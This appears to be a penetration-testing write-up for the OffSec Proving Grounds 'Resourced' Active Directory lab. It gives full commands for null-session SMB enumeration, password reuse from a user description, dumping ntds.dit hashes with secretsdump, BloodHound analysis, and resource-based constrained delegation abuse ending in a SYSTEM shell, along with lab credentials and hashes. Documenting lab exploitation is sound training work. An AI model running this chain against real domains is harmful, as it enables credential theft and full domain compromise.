OffSec Proving Grounds Resourced Writeup
Windows AD target. A null session reads a password out of a user description, a shared NTDS.dit dumps every hash, and RBCD impersonates Administrator.
Summary
Resourced allows null authentication to SMB, and dumping the user list shows V.Ventz carrying a reminder password in the account description field. Those credentials open a Password Audit share that should never have existed: it holds ntds.dit along with the SECURITY and SYSTEM hives, so secretsdump recovers the NTLM hash of every domain account offline. The Administrator hash no longer works, so rusthound-ce collects the domain into BloodHound and the shortest path query to tier zero shows l.livingstone holding GenericAll over the domain controller object, with that account’s hash already in the dump. With a machine account quota of 10, a new computer account is added, resource based constrained delegation is written from it to the DC, and getST impersonates administrator for a CIFS ticket that psexec turns into a SYSTEM session.
SMB Server Enumeration
The SMB server allows for null authentication, which enables me to enumerate users:
1
nxc smb 192.168.113.175 -u '' -p '' --users
The output returns 13 system users. One important result:
More specifically:
1
2
Username: V.Ventz
User Description: New-hired, reminder: HotelCalifornia194!
I can now authenticate using the credentials:
1
2
Username: V.Ventz
Password: HotelCalifornia194!
Enumerate shares:
1
nxc smb 192.168.113.175 -u v.ventz -p 'HotelCalifornia194!' --shares
I notice this user has access to the “Password Audit” SMB share. I mount it locally:
1
mkdir mount && sudo mount -t cifs -o "username=v.ventz,password=HotelCalifornia194!" "//192.168.113.175/Password Audit" mount/
And locate files inside the share:
1
2
3
4
5
$ find mount/ -type f
mount/Active Directory/ntds.dit
mount/Active Directory/ntds.jfm
mount/registry/SECURITY
mount/registry/SYSTEM
This is massive. The admin left the entire NTDS.dit AD database, along with SECURITY and SYSTEM system hives. Those are very sensitive files that contain user credentials in the AD environment.
I copy them all to my attacking machine:
1
mkdir loot && find mount/ -type f -exec cp {} loot/ \;
Horizontal Privilege Escalation
I run secretsdump, passing all relevant files:
1
secretsdump.py LOCAL -ntd ntds.dit -system SYSTEM -security SECURITY -just-dc-ntlm
As you can see I now have all ntlm hashes for the domain users:
I try authenticating as “administrator” (quick win) right away using its password hash:
1
nxc ldap resourced.local -u 'administrator' -H 12579b1666d4ac10f0f59f300776495f
However, it fails. It seems like the admin changed its password. Let’s see which users are the most interesting ones for us in the domain (the ones with the most outbound privileges / group memberships). I collect AD data with rusthound-ce:
1
rusthound-ce -d resourced.local -u V.Ventz -p 'HotelCalifornia194!' -z -n 192.168.113.175
We obviously have many users:
So we need to narrow down this search. I go to the “cypher” tab, then select “shortest paths to tier zero / high value targets” and hit “run”. The graph is kinda massive at this point, but I can identify the following critical privilege escalation vector:
More specifically, the domain user “l.livingstone” has “GenericAll” over the domain controller. We can abuse this privilege by performing a resource based constrained delegation attack, if we manage to compromise this user.
I see from the secretsdump output from before the password hash for the l.livingstone user:
1
L.Livingstone:1105:aad3b435b51404eeaad3b435b51404ee:19a3a7550ce8c505c2d46b5e39d6f808:::
I can use this password hash to authenticate to the domain as l.livingstone and proceed with the attack.
Vertical Privilege Escalation
Since I don’t currently control any computer account, and the machine quota is 10, I can create a new computer account in the domain:
1
2
3
4
$ addcomputer.py -method SAMR -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-ip 192.168.113.175 -dc-host resourcedc.resourced.local -domain-netbios resourced.local 'resourced.local/l.livingstone' -hashes :19a3a7550ce8c505c2d46b5e39d6f808
Impacket v0.14.0.dev0+20251107.4500.2f1d6eb - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account ATTACKERSYSTEM$ with password Summer2018!.
Enable resource based constrained delegation:
1
2
3
4
5
6
7
8
$ rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'RESOURCEDC$' -action 'write' 'resourced.local/l.livingstone' -hashes :19a3a7550ce8c505c2d46b5e39d6f808
<SNIP>
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ATTACKERSYSTEM$ can now impersonate users on RESOURCEDC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] ATTACKERSYSTEM$ (S-1-5-21-537427935-490066102-1511301751-4101)
Get a service ticket for the CIFS spn:
1
getST.py -spn 'cifs/RESOURCEDC.RESOURCED.LOCAL' -impersonate 'administrator' 'resourced.local/attackersystem$:Summer2018!'
The command works and now I have what seems to be a valid ticket to authenticate to SMB as administrator:
I test the ticket with netexec first:
1
2
3
4
$ nxc smb RESOURCEDC.resourced.local -k --use-kcache
<SNIP>
[+] resourced.local\administrator from ccache (Pwn3d!)
As you can see from the (Pwn3d!) message, the ticket works and we can authenticate to the smb server a s administrator!
Connect to the machine using psexec:
1
psexec.py administrator@RESOURCEDC.resourced.local -k -no-pass
The screenshot below shows proof of exploitation:
